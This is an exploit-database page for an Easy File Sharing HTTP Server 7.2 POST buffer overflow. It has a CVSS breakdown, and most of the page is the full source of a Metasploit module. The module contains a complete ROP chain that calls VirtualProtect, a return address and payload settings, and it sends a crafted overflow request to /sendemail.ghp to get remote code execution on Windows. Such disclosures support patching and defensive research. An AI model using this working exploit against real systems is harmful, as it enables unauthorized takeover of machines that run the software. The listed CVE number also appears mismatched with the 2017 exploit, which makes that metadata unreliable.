Exploitalert - Database of Exploits

Easy File Sharing HTTP Server 7.2 POST Buffer Overflow

CVE	Category	Price	Severity
CVE-2005-1456	CWE-119	$500	High

Author	Risk	Exploitation Type	Date
RoMaNSoFt	High	Remote	2017-06-25

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2017060184

Easy File Sharing HTTP Server 7.2 POST Buffer Overflow## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp #include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Easy File Sharing HTTP Server 7.2 POST Buffer Overflow', 'Description' => %q{ This module exploits a POST buffer overflow in the Easy File Sharing FTP Server 7.2 software. }, 'Author' => [ 'bl4ck h4ck3r', #POC 'Marco Rivoli <marco.rivoli.nvh[at]gmail.com>' #Metasploit ], 'License' => MSF_LICENSE, 'References' => [ [ 'EDB', '42186' ], ], 'Privileged' => true, 'Payload' => { 'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e", }, 'Platform' => 'win', 'Targets' => [ [ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x1002280a } ], ], 'DefaultOptions' => { 'RPORT' => 80, 'EXITFUNC' => 'thread', 'ENCODER' => 'x86/alpha_mixed' }, 'DisclosureDate' => 'Jun 12 2017', 'DefaultTarget' => 0)) end def create_rop_chain # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ # 0x00000000, # [-] Unable to find gadget to put 00000201 into ebx 0x10015442, # POP EAX # RETN [ImageLoad.dll] 0xFFFFFDFE, # -202 0x100231d1, # NEG EAX # RETN [ImageLoad.dll] 0x1001da09, # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]| {PAGE_EXECUTE_READ} 0x1001a858, # RETN (ROP NOP) [ImageLoad.dll] 0x1001a858, # RETN (ROP NOP) [ImageLoad.dll] 0x10015442, # POP EAX # RETN [ImageLoad.dll] 0x1004de84, # &Writable location [ImageLoad.dll] 0x10015442, # POP EAX # RETN [ImageLoad.dll] 0x61c832d0, # ptr to &VirtualProtect() [IAT sqlite3.dll] 0x1002248c, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ImageLoad.dll] 0x61c0a798, # XCHG EAX,EDI # RETN [sqlite3.dll] 0x1001d626, # XOR ESI,ESI # RETN [ImageLoad.dll] 0x10021a3e, # ADD ESI,EDI # RETN 0x00 [ImageLoad.dll] 0x100218f9, # POP EBP # RETN [ImageLoad.dll] 0x61c24169, # & push esp # ret [sqlite3.dll] 0x10022c4c, # XOR EDX,EDX # RETN [ImageLoad.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] 0x1001bd98, # POP ECX # RETN [ImageLoad.dll] 0x1004de84, # &Writable location [ImageLoad.dll] 0x61c373a4, # POP EDI # RETN [sqlite3.dll] 0x1001a858, # RETN (ROP NOP) [ImageLoad.dll] 0x10015442, # POP EAX # RETN [ImageLoad.dll] 0x90909090, # nop 0x100240c2, # PUSHAD # RETN [ImageLoad.dll] ].flatten.pack('V*') return rop_gadgets end def exploit sploit = rand_text_alpha_upper(2278) rop_chain = create_rop_chain sploit << rop_chain sploit << "\x90" * 200 sploit << payload.encoded sploit << rand_text_alpha_upper(1794 - 200 - payload.encoded.length - rop_chain.length) sploit << [target.ret].pack('V') request = "POST /sendemail.ghp HTTP/1.1\r\n\r\nEmail=#{sploit}&getPassword=Get+Password" connect sock.put(request) handler disconnect end end

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